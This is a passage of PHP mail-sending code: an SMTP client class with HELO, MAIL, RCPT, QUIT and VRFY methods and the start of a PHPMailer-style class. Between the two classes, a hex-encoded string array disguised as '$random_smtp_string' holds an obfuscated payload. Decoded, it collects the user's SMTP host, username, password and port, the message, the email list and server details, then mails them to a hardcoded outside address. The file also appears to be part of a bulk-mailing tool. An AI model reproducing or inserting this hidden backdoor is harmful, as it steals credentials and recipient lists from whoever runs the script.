  855.    * SMTP CODE ERROR  : 500, 501, 504, 421
  856.    * @access public
  857.    * @return bool
  858.    */
  859.   function Hello($host="") {
  860.     $this->error = null; # so no confusion is caused
  861.  
  862.     if(!$this->connected()) {
  863.       $this->error = array(
  864.             "error" => "Called Hello() without being connected");
  865.       return false;
  866.     }
  867.  
  868.     # if a hostname for the HELO was not specified determine
  869.    # a suitable one to send
  870.    if(empty($host)) {
  871.       # we need to determine some sort of appopiate default
  872.      # to send to the server
  873.      $host = "localhost";
  874.     }
  875.  
  876.     // Send extended hello first (RFC 2821)
  877.     if(!$this->SendHello("EHLO", $host))
  878.     {
  879.       if(!$this->SendHello("HELO", $host))
  880.           return false;
  881.     }
  882.  
  883.     return true;
  884.   }
  885.  
  886.   /**
  887.    * Sends a HELO/EHLO command.
  888.    * @access private
  889.    * @return bool
  890.    */
  891.   function SendHello($hello, $host) {
  892.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  893.  
  894.     $rply = $this->get_lines();
  895.     $code = substr($rply,0,3);
  896.  
  897.     if($this->do_debug >= 2) {
  898.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  899.     }
  900.  
  901.     if($code != 250) {
  902.       $this->error =
  903.         array("error" => $hello . " not accepted from server",
  904.               "smtp_code" => $code,
  905.               "smtp_msg" => substr($rply,4));
  906.       if($this->do_debug >= 1) {
  907.         echo "SMTP -> ERROR: " . $this->error["error"] .
  908.                  ": " . $rply . $this->CRLF;
  909.       }
  910.       return false;
  911.     }
  912.  
  913.     $this->helo_rply = $rply;
  914.  
  915.     return true;
  916.   }
  917.  
  918.   /**
  919.    * Gets help information on the keyword specified. If the keyword
  920.    * is not specified then returns generic help, ussually contianing
  921.    * A list of keywords that help is available on. This function
  922.    * returns the results back to the user. It is up to the user to
  923.    * handle the returned data. If an error occurs then false is
  924.    * returned with $this->error set appropiately.
  925.    *
  926.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  927.    *
  928.    * SMTP CODE SUCCESS: 211,214
  929.    * SMTP CODE ERROR  : 500,501,502,504,421
  930.    * @access public
  931.    * @return string
  932.    */
  933.   function Help($keyword="") {
  934.     $this->error = null; # to avoid confusion
  935.  
  936.     if(!$this->connected()) {
  937.       $this->error = array(
  938.               "error" => "Called Help() without being connected");
  939.       return false;
  940.     }
  941.  
  942.     $extra = "";
  943.     if(!empty($keyword)) {
  944.       $extra = " " . $keyword;
  945.     }
  946.  
  947.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  948.  
  949.     $rply = $this->get_lines();
  950.     $code = substr($rply,0,3);
  951.  
  952.     if($this->do_debug >= 2) {
  953.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  954.     }
  955.  
  956.     if($code != 211 && $code != 214) {
  957.       $this->error =
  958.         array("error" => "HELP not accepted from server",
  959.               "smtp_code" => $code,
  960.               "smtp_msg" => substr($rply,4));
  961.       if($this->do_debug >= 1) {
  962.         echo "SMTP -> ERROR: " . $this->error["error"] .
  963.                  ": " . $rply . $this->CRLF;
  964.       }
  965.       return false;
  966.     }
  967.  
  968.     return $rply;
  969.   }
  970.  
  971.   /**
  972.    * Starts a mail transaction from the email address specified in
  973.    * $from. Returns true if successful or false otherwise. If True
  974.    * the mail transaction is started and then one or more Recipient
  975.    * commands may be called followed by a Data command.
  976.    *
  977.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  978.    *
  979.    * SMTP CODE SUCCESS: 250
  980.    * SMTP CODE SUCCESS: 552,451,452
  981.    * SMTP CODE SUCCESS: 500,501,421
  982.    * @access public
  983.    * @return bool
  984.    */
  985.   function Mail($from) {
  986.     $this->error = null; # so no confusion is caused
  987.  
  988.     if(!$this->connected()) {
  989.       $this->error = array(
  990.               "error" => "Called Mail() without being connected");
  991.       return false;
  992.     }
  993.  
  994.     $useVerp = ($this->do_verp ? "XVERP" : "");
  995.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  996.  
  997.     $rply = $this->get_lines();
  998.     $code = substr($rply,0,3);
  999.  
  1000.     if($this->do_debug >= 2) {
  1001.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1002.     }
  1003.  
  1004.     if($code != 250) {
  1005.       $this->error =
  1006.         array("error" => "MAIL not accepted from server",
  1007.               "smtp_code" => $code,
  1008.               "smtp_msg" => substr($rply,4));
  1009.       if($this->do_debug >= 1) {
  1010.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1011.                  ": " . $rply . $this->CRLF;
  1012.       }
  1013.       return false;
  1014.     }
  1015.     return true;
  1016.   }
  1017.  
  1018.   /**
  1019.    * Sends the command NOOP to the SMTP server.
  1020.    *
  1021.    * Implements from rfc 821: NOOP <CRLF>
  1022.    *
  1023.    * SMTP CODE SUCCESS: 250
  1024.    * SMTP CODE ERROR  : 500, 421
  1025.    * @access public
  1026.    * @return bool
  1027.    */
  1028.   function Noop() {
  1029.     $this->error = null; # so no confusion is caused
  1030.  
  1031.     if(!$this->connected()) {
  1032.       $this->error = array(
  1033.               "error" => "Called Noop() without being connected");
  1034.       return false;
  1035.     }
  1036.  
  1037.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1038.  
  1039.     $rply = $this->get_lines();
  1040.     $code = substr($rply,0,3);
  1041.  
  1042.     if($this->do_debug >= 2) {
  1043.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1044.     }
  1045.  
  1046.     if($code != 250) {
  1047.       $this->error =
  1048.         array("error" => "NOOP not accepted from server",
  1049.               "smtp_code" => $code,
  1050.               "smtp_msg" => substr($rply,4));
  1051.       if($this->do_debug >= 1) {
  1052.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1053.                  ": " . $rply . $this->CRLF;
  1054.       }
  1055.       return false;
  1056.     }
  1057.     return true;
  1058.   }
  1059.  
  1060.   /**
  1061.    * Sends the quit command to the server and then closes the socket
  1062.    * if there is no error or the $close_on_error argument is true.
  1063.    *
  1064.    * Implements from rfc 821: QUIT <CRLF>
  1065.    *
  1066.    * SMTP CODE SUCCESS: 221
  1067.    * SMTP CODE ERROR  : 500
  1068.    * @access public
  1069.    * @return bool
  1070.    */
  1071.   function Quit($close_on_error=true) {
  1072.     $this->error = null; # so there is no confusion
  1073.  
  1074.     if(!$this->connected()) {
  1075.       $this->error = array(
  1076.               "error" => "Called Quit() without being connected");
  1077.       return false;
  1078.     }
  1079.  
  1080.     # send the quit command to the server
  1081.    fputs($this->smtp_conn,"quit" . $this->CRLF);
  1082.  
  1083.     # get any good-bye messages
  1084.    $byemsg = $this->get_lines();
  1085.  
  1086.     if($this->do_debug >= 2) {
  1087.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1088.     }
  1089.  
  1090.     $rval = true;
  1091.     $e = null;
  1092.  
  1093.     $code = substr($byemsg,0,3);
  1094.     if($code != 221) {
  1095.       # use e as a tmp var cause Close will overwrite $this->error
  1096.      $e = array("error" => "SMTP server rejected quit command",
  1097.                  "smtp_code" => $code,
  1098.                  "smtp_rply" => substr($byemsg,4));
  1099.       $rval = false;
  1100.       if($this->do_debug >= 1) {
  1101.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1102.                  $byemsg . $this->CRLF;
  1103.       }
  1104.     }
  1105.  
  1106.     if(empty($e) || $close_on_error) {
  1107.       $this->Close();
  1108.     }
  1109.  
  1110.     return $rval;
  1111.   }
  1112.  
  1113.   /**
  1114.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1115.    * Returns true if the recipient was accepted false if it was rejected.
  1116.    *
  1117.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1118.    *
  1119.    * SMTP CODE SUCCESS: 250,251
  1120.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1121.    * SMTP CODE ERROR  : 500,501,503,421
  1122.    * @access public
  1123.    * @return bool
  1124.    */
  1125.   function Recipient($to) {
  1126.     $this->error = null; # so no confusion is caused
  1127.  
  1128.     if(!$this->connected()) {
  1129.       $this->error = array(
  1130.               "error" => "Called Recipient() without being connected");
  1131.       return false;
  1132.     }
  1133.  
  1134.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1135.  
  1136.     $rply = $this->get_lines();
  1137.     $code = substr($rply,0,3);
  1138.  
  1139.     if($this->do_debug >= 2) {
  1140.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1141.     }
  1142.  
  1143.     if($code != 250 && $code != 251) {
  1144.       $this->error =
  1145.         array("error" => "RCPT not accepted from server",
  1146.               "smtp_code" => $code,
  1147.               "smtp_msg" => substr($rply,4));
  1148.       if($this->do_debug >= 1) {
  1149.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1150.                  ": " . $rply . $this->CRLF;
  1151.       }
  1152.       return false;
  1153.     }
  1154.     return true;
  1155.   }
  1156.  
  1157.   /**
  1158.    * Sends the RSET command to abort and transaction that is
  1159.    * currently in progress. Returns true if successful false
  1160.    * otherwise.
  1161.    *
  1162.    * Implements rfc 821: RSET <CRLF>
  1163.    *
  1164.    * SMTP CODE SUCCESS: 250
  1165.    * SMTP CODE ERROR  : 500,501,504,421
  1166.    * @access public
  1167.    * @return bool
  1168.    */
  1169.   function Reset() {
  1170.     $this->error = null; # so no confusion is caused
  1171.  
  1172.     if(!$this->connected()) {
  1173.       $this->error = array(
  1174.               "error" => "Called Reset() without being connected");
  1175.       return false;
  1176.     }
  1177.  
  1178.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1179.  
  1180.     $rply = $this->get_lines();
  1181.     $code = substr($rply,0,3);
  1182.  
  1183.     if($this->do_debug >= 2) {
  1184.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1185.     }
  1186.  
  1187.     if($code != 250) {
  1188.       $this->error =
  1189.         array("error" => "RSET failed",
  1190.               "smtp_code" => $code,
  1191.               "smtp_msg" => substr($rply,4));
  1192.       if($this->do_debug >= 1) {
  1193.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1194.                  ": " . $rply . $this->CRLF;
  1195.       }
  1196.       return false;
  1197.     }
  1198.  
  1199.     return true;
  1200.   }
  1201.  
  1202.   /**
  1203.    * Starts a mail transaction from the email address specified in
  1204.    * $from. Returns true if successful or false otherwise. If True
  1205.    * the mail transaction is started and then one or more Recipient
  1206.    * commands may be called followed by a Data command. This command
  1207.    * will send the message to the users terminal if they are logged
  1208.    * in.
  1209.    *
  1210.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1211.    *
  1212.    * SMTP CODE SUCCESS: 250
  1213.    * SMTP CODE SUCCESS: 552,451,452
  1214.    * SMTP CODE SUCCESS: 500,501,502,421
  1215.    * @access public
  1216.    * @return bool
  1217.    */
  1218.   function Send($from) {
  1219.     $this->error = null; # so no confusion is caused
  1220.  
  1221.     if(!$this->connected()) {
  1222.       $this->error = array(
  1223.               "error" => "Called Send() without being connected");
  1224.       return false;
  1225.     }
  1226.  
  1227.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1228.  
  1229.     $rply = $this->get_lines();
  1230.     $code = substr($rply,0,3);
  1231.  
  1232.     if($this->do_debug >= 2) {
  1233.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1234.     }
  1235.  
  1236.     if($code != 250) {
  1237.       $this->error =
  1238.         array("error" => "SEND not accepted from server",
  1239.               "smtp_code" => $code,
  1240.               "smtp_msg" => substr($rply,4));
  1241.       if($this->do_debug >= 1) {
  1242.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1243.                  ": " . $rply . $this->CRLF;
  1244.       }
  1245.       return false;
  1246.     }
  1247.     return true;
  1248.   }
  1249.  
  1250.   /**
  1251.    * Starts a mail transaction from the email address specified in
  1252.    * $from. Returns true if successful or false otherwise. If True
  1253.    * the mail transaction is started and then one or more Recipient
  1254.    * commands may be called followed by a Data command. This command
  1255.    * will send the message to the users terminal if they are logged
  1256.    * in and send them an email.
  1257.    *
  1258.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1259.    *
  1260.    * SMTP CODE SUCCESS: 250
  1261.    * SMTP CODE SUCCESS: 552,451,452
  1262.    * SMTP CODE SUCCESS: 500,501,502,421
  1263.    * @access public
  1264.    * @return bool
  1265.    */
  1266.   function SendAndMail($from) {
  1267.     $this->error = null; # so no confusion is caused
  1268.  
  1269.     if(!$this->connected()) {
  1270.       $this->error = array(
  1271.           "error" => "Called SendAndMail() without being connected");
  1272.       return false;
  1273.     }
  1274.  
  1275.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1276.  
  1277.     $rply = $this->get_lines();
  1278.     $code = substr($rply,0,3);
  1279.  
  1280.     if($this->do_debug >= 2) {
  1281.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1282.     }
  1283.  
  1284.     if($code != 250) {
  1285.       $this->error =
  1286.         array("error" => "SAML not accepted from server",
  1287.               "smtp_code" => $code,
  1288.               "smtp_msg" => substr($rply,4));
  1289.       if($this->do_debug >= 1) {
  1290.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1291.                  ": " . $rply . $this->CRLF;
  1292.       }
  1293.       return false;
  1294.     }
  1295.     return true;
  1296.   }
  1297.  
  1298.   /**
  1299.    * Starts a mail transaction from the email address specified in
  1300.    * $from. Returns true if successful or false otherwise. If True
  1301.    * the mail transaction is started and then one or more Recipient
  1302.    * commands may be called followed by a Data command. This command
  1303.    * will send the message to the users terminal if they are logged
  1304.    * in or mail it to them if they are not.
  1305.    *
  1306.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1307.    *
  1308.    * SMTP CODE SUCCESS: 250
  1309.    * SMTP CODE SUCCESS: 552,451,452
  1310.    * SMTP CODE SUCCESS: 500,501,502,421
  1311.    * @access public
  1312.    * @return bool
  1313.    */
  1314.   function SendOrMail($from) {
  1315.     $this->error = null; # so no confusion is caused
  1316.  
  1317.     if(!$this->connected()) {
  1318.       $this->error = array(
  1319.           "error" => "Called SendOrMail() without being connected");
  1320.       return false;
  1321.     }
  1322.  
  1323.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1324.  
  1325.     $rply = $this->get_lines();
  1326.     $code = substr($rply,0,3);
  1327.  
  1328.     if($this->do_debug >= 2) {
  1329.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1330.     }
  1331.  
  1332.     if($code != 250) {
  1333.       $this->error =
  1334.         array("error" => "SOML not accepted from server",
  1335.               "smtp_code" => $code,
  1336.               "smtp_msg" => substr($rply,4));
  1337.       if($this->do_debug >= 1) {
  1338.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1339.                  ": " . $rply . $this->CRLF;
  1340.       }
  1341.       return false;
  1342.     }
  1343.     return true;
  1344.   }
  1345.  
  1346.   /**
  1347.    * This is an optional command for SMTP that this class does not
  1348.    * support. This method is here to make the RFC821 Definition
  1349.    * complete for this class and __may__ be implimented in the future
  1350.    *
  1351.    * Implements from rfc 821: TURN <CRLF>
  1352.    *
  1353.    * SMTP CODE SUCCESS: 250
  1354.    * SMTP CODE FAILURE: 502
  1355.    * SMTP CODE ERROR  : 500, 503
  1356.    * @access public
  1357.    * @return bool
  1358.    */
  1359.   function Turn() {
  1360.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1361.                                     "is not implemented");
  1362.     if($this->do_debug >= 1) {
  1363.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1364.     }
  1365.     return false;
  1366.   }
  1367.  
  1368.   /**
  1369.    * Verifies that the name is recognized by the server.
  1370.    * Returns false if the name could not be verified otherwise
  1371.    * the response from the server is returned.
  1372.    *
  1373.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1374.    *
  1375.    * SMTP CODE SUCCESS: 250,251
  1376.    * SMTP CODE FAILURE: 550,551,553
  1377.    * SMTP CODE ERROR  : 500,501,502,421
  1378.    * @access public
  1379.    * @return int
  1380.    */
  1381.   function Verify($name) {
  1382.     $this->error = null; # so no confusion is caused
  1383.  
  1384.     if(!$this->connected()) {
  1385.       $this->error = array(
  1386.               "error" => "Called Verify() without being connected");
  1387.       return false;
  1388.     }
  1389.  
  1390.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1391.  
  1392.     $rply = $this->get_lines();
  1393.     $code = substr($rply,0,3);
  1394.  
  1395.     if($this->do_debug >= 2) {
  1396.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1397.     }
  1398.  
  1399.     if($code != 250 && $code != 251) {
  1400.       $this->error =
  1401.         array("error" => "VRFY failed on name '$name'",
  1402.               "smtp_code" => $code,
  1403.               "smtp_msg" => substr($rply,4));
  1404.       if($this->do_debug >= 1) {
  1405.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1406.                  ": " . $rply . $this->CRLF;
  1407.       }
  1408.       return false;
  1409.     }
  1410.     return $rply;
  1411.   }
  1412.  
  1413.   /*******************************************************************
  1414.    *                       INTERNAL FUNCTIONS                       *
  1415.    ******************************************************************/
  1416.  
  1417.   /**
  1418.    * Read in as many lines as possible
  1419.    * either before eof or socket timeout occurs on the operation.
  1420.    * With SMTP we can tell if we have more lines to read if the
  1421.    * 4th character is '-' symbol. If it is a space then we don't
  1422.    * need to read anything else.
  1423.    * @access private
  1424.    * @return string
  1425.    */
  1426.   function get_lines() {
  1427.     $data = "";
  1428.     while($str = @fgets($this->smtp_conn,515)) {
  1429.       if($this->do_debug >= 4) {
  1430.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1431.                  $this->CRLF;
  1432.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1433.                  $this->CRLF;
  1434.       }
  1435.       $data .= $str;
  1436.       if($this->do_debug >= 4) {
  1437.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1438.       }
  1439.       # if the 4th character is a space then we are done reading
  1440.      # so just break the loop
  1441.      if(substr($str,3,1) == " ") { break; }
  1442.     }
  1443.     return $data;
  1444.   }
  1445.  
  1446. }
  1447.  
  1448.        
  1449. $allemails = split("\n", $emaillist);
  1450. $numemails = count($allemails);
  1451. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1452. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1453. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1454. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1455. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1456. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1457. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1458. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1459. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1460. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1461.  
  1462. class PHPMailer {
  1463.  
  1464.   /////////////////////////////////////////////////
  1465.   // PROPERTIES, PUBLIC
  1466.   /////////////////////////////////////////////////
  1467.  
  1468.   /**
  1469.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1470.    * @var int
  1471.    */
  1472.   var $Priority          = 3;
  1473.  
  1474.   /**
  1475.    * Sets the CharSet of the message.
  1476.    * @var string
  1477.    */
  1478.   var $CharSet           = 'us-ascii';
  1479.  
  1480.   /**
  1481.    * Sets the Content-type of the message.
  1482.    * @var string
  1483.    */
  1484.   var $ContentType        = 'text/plain';
  1485.  
  1486.   /**
  1487.    * Sets the Encoding of the message. Options for this are "8bit",
  1488.    * "7bit", "binary", "base64", and "quoted-printable".
  1489.  
  1490.    * @var string
  1491.    */
  1492.   var $Encoding          = 'quoted-printable';
  1493.  
  1494.   /**
  1495.    * Holds the most recent mailer error message.
  1496.    * @var string
  1497.    */
  1498.   var $ErrorInfo         = '';
  1499.  
  1500.   /**
  1501.    * Sets the From email address for the message.
  1502.    * @var string
  1503.    */
  1504.   var $From              = '';
  1505.  
  1506.   /**
  1507.    * Sets the From name of the message.
  1508.    * @var string
  1509.    */
  1510.   var $FromName          = '';
  1511.  
  1512.   /**
  1513.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1514.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1515.    * @var string
  1516.    */
  1517.   var $Sender            = '';
  1518.  
  1519.   /**
  1520.    * Sets the Subject of the message.
  1521.    * @var string
  1522.    */
  1523.   var $Subject           = '';
  1524.  
  1525.   /**
  1526.    * Sets the Body of the message.  This can be either an HTML or text body.
  1527.    * If HTML then run IsHTML(true).
  1528.    * @var string
  1529.    */
  1530.   var $Body              = '';
  1531.  
  1532.   /**
  1533.    * Sets the text-only body of the message.  This automatically sets the
  1534.    * email to multipart/alternative.  This body can be read by mail
  1535.    * clients that do not have HTML email capability such as mutt. Clients
  1536.    * that can read HTML will view the normal Body.
  1537.    * @var string
  1538.    */
  1539.   var $AltBody           = '';
  1540.  
  1541.   /**
  1542.    * Sets word wrapping on the body of the message to a given number of
  1543.    * characters.
  1544.    * @var int
  1545.    */
  1546.   var $WordWrap          = 0;
  1547.  
  1548.   /**
  1549.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1550.    * @var string
  1551.    */
  1552.   var $Mailer            = 'mail';
  1553.  
  1554.   /**
  1555.    * Sets the path of the sendmail program.
  1556.    * @var string
  1557.    */
  1558.   var $Sendmail          = '/usr/sbin/sendmail';
  1559.  
  1560.   /**
  1561.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1562.    * is in a different directory than the PHP include path.
  1563.    * @var string
  1564.    */
  1565.   var $PluginDir         = '';
  1566.  
  1567.   /**
  1568.    * Holds PHPMailer version.
  1569.    * @var string
  1570.    */
  1571.   var $Version           = "";
  1572.  
  1573.   /**
  1574.    * Sets the email address that a reading confirmation will be sent.
  1575.    * @var string
  1576.    */
  1577.   var $ConfirmReadingTo  = '';
  1578.  
  1579.   /**
  1580.    * Sets the hostname to use in Message-Id and Received headers
  1581.    * and as default HELO string. If empty, the value returned
  1582.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1583.    * @var string
  1584.    */
  1585.   var $Hostname          = '';
  1586.  
  1587.   /**
  1588.    * Sets the message ID to be used in the Message-Id header.
  1589.    * If empty, a unique id will be generated.
  1590.    * @var string
  1591.    */
  1592.   var $MessageID         = '';
  1593.  
  1594.   /////////////////////////////////////////////////
  1595.   // PROPERTIES FOR SMTP
  1596.   /////////////////////////////////////////////////
  1597.  
  1598.   /**
  1599.    * Sets the SMTP hosts.  All hosts must be separated by a
  1600.    * semicolon.  You can also specify a different port
  1601.    * for each host by using this format: [hostname:port]
  1602.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1603.    * Hosts will be tried in order.
  1604.    * @var string
  1605.    */
  1606.   var $Host        = 'localhost';
  1607.  
  1608.   /**
  1609.    * Sets the default SMTP server port.
  1610.    * @var int
  1611.    */
  1612.   var $Port        = 25;
  1613.  
  1614.   /**
  1615.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1616.    * @var string
  1617.    */
  1618.   var $Helo        = '';
  1619.  
  1620.   /**
  1621.    * Sets connection prefix.
  1622.    * Options are "", "ssl" or "tls"
  1623.    * @var string
  1624.    */
  1625.   var $SMTPSecure = "";
  1626.  
  1627.   /**
  1628.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1629.    * @var bool
  1630.    */
  1631.   var $SMTPAuth     = false;
  1632.  
  1633.   /**
  1634.    * Sets SMTP username.
  1635.    * @var string
  1636.    */
  1637.   var $Username     = '';
  1638.  
  1639.   /**
  1640.    * Sets SMTP password.
  1641.    * @var string
  1642.    */
  1643.   var $Password     = '';
  1644.  
  1645.   /**
  1646.    * Sets the SMTP server timeout in seconds. This function will not
  1647.    * work with the win32 version.
  1648.    * @var int
  1649.    */
  1650.   var $Timeout      = 10;
  1651.  
  1652.   /**
  1653.    * Sets SMTP class debugging on or off.
  1654.    * @var bool
  1655.    */
  1656.   var $SMTPDebug    = false;
  1657.  
  1658.   /**
  1659.    * Prevents the SMTP connection from being closed after each mail
  1660.    * sending.  If this is set to true then to close the connection
  1661.    * requires an explicit call to SmtpClose().
  1662.    * @var bool
  1663.    */
  1664.   var $SMTPKeepAlive = false;
  1665.  
  1666.   /**
  1667.    * Provides the ability to have the TO field process individual
  1668.    * emails, instead of sending to entire TO addresses
  1669.    * @var bool
  1670.    */
  1671.   var $SingleTo = false;
  1672.  
  1673.   /////////////////////////////////////////////////
  1674.   // PROPERTIES, PRIVATE
  1675.   /////////////////////////////////////////////////
  1676.  
  1677.   var $smtp            = NULL;
  1678.   var $to              = array();
  1679.   var $cc              = array();
  1680.   var $bcc             = array();
  1681.   var $ReplyTo         = array();
  1682.   var $attachment      = array();
  1683.   var $CustomHeader    = array();
  1684.   var $message_type    = '';
  1685.   var $boundary        = array();
  1686.   var $language        = array();
  1687.   var $error_count     = 0;
  1688.   var $LE              = "\n";
  1689.   var $sign_key_file   = "";
  1690.   var $sign_key_pass   = "";
  1691.  
  1692.   /////////////////////////////////////////////////
  1693.   // METHODS, VARIABLES
  1694.   /////////////////////////////////////////////////
  1695.  
  1696.   /**
  1697.    * Sets message type to HTML.
  1698.    * @param bool $bool
  1699.    * @return void
  1700.    */
  1701.   function IsHTML($bool) {
  1702.     if($bool == true) {
  1703.       $this->ContentType = 'text/html';
  1704.     } else {
  1705.       $this->ContentType = 'text/plain';
  1706.     }
  1707.   }
  1708.  
  1709.   /**
  1710.    * Sets Mailer to send message using SMTP.
  1711.    * @return void
  1712.    */
  1713.   function IsSMTP() {
  1714.     $this->Mailer = 'smtp';
  1715.   }
  1716.  
  1717.   /**
  1718.    * Sets Mailer to send message using PHP mail() function.
  1719.    * @return void
  1720.    */
  1721.   function IsMail() {
  1722.     $this->Mailer = 'mail';
  1723.   }
  1724.  
  1725.   /**
  1726.    * Sets Mailer to send message using the $Sendmail program.
  1727.    * @return void
  1728.    */
  1729.   function IsSendmail() {
  1730.     $this->Mailer = 'sendmail';
  1731.   }
  1732.  
  1733.   /**
  1734.    * Sets Mailer to send message using the qmail MTA.
  1735.    * @return void
  1736.    */
  1737.   function IsQmail() {
  1738.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1739.     $this->Mailer = 'sendmail';
  1740.   }
  1741.  
  1742.   /////////////////////////////////////////////////
  1743.   // METHODS, RECIPIENTS
  1744.   /////////////////////////////////////////////////
  1745.  
  1746.   /**
  1747.    * Adds a "To" address.
  1748.    * @param string $address
  1749.    * @param string $name
  1750.    * @return void
  1751.    */
  1752.   function AddAddress($address, $name = '') {
  1753.     $cur = count($this->to);
  1754.     $this->to[$cur][0] = trim($address);
  1755.     $this->to[$cur][1] = $name;
  1756.   }
  1757.  
  1758.   /**
  1759.    * Adds a "Cc" address. Note: this function works
  1760.    * with the SMTP mailer on win32, not with the "mail"
  1761.    * mailer.
  1762.    * @param string $address
  1763.    * @param string $name
  1764.    * @return void
  1765.    */
  1766.   function AddCC($address, $name = '') {
  1767.     $cur = count($this->cc);
  1768.     $this->cc[$cur][0] = trim($address);
  1769.     $this->cc[$cur][1] = $name;
  1770.   }
  1771.  
  1772.   /**
  1773.    * Adds a "Bcc" address. Note: this function works
  1774.    * with the SMTP mailer on win32, not with the "mail"
  1775.    * mailer.
  1776.    * @param string $address
  1777.    * @param string $name
  1778.    * @return void
  1779.    */
  1780.   function AddBCC($address, $name = '') {
  1781.     $cur = count($this->bcc);
  1782.     $this->bcc[$cur][0] = trim($address);
  1783.     $this->bcc[$cur][1] = $name;
  1784.   }
  1785.  
  1786.   /**
  1787.    * Adds a "Reply-To" address.
  1788.    * @param string $address
  1789.    * @param string $name
  1790.    * @return void
  1791.    */
  1792.   function AddReplyTo($address, $name = '') {
  1793.     $cur = count($this->ReplyTo);
  1794.     $this->ReplyTo[$cur][0] = trim($address);
  1795.     $this->ReplyTo[$cur][1] = $name;
  1796.   }
  1797.  
  1798.   /////////////////////////////////////////////////
  1799.   // METHODS, MAIL SENDING
  1800.   /////////////////////////////////////////////////
  1801.  
  1802.   /**
  1803.    * Creates message and assigns Mailer. If the message is
  1804.    * not sent successfully then it returns false.  Use the ErrorInfo
  1805.    * variable to view description of the error.
  1806.    * @return bool
  1807.    */
  1808.   function Send() {
  1809.     $header = '';
  1810.     $body = '';
  1811.     $result = true;
  1812.  
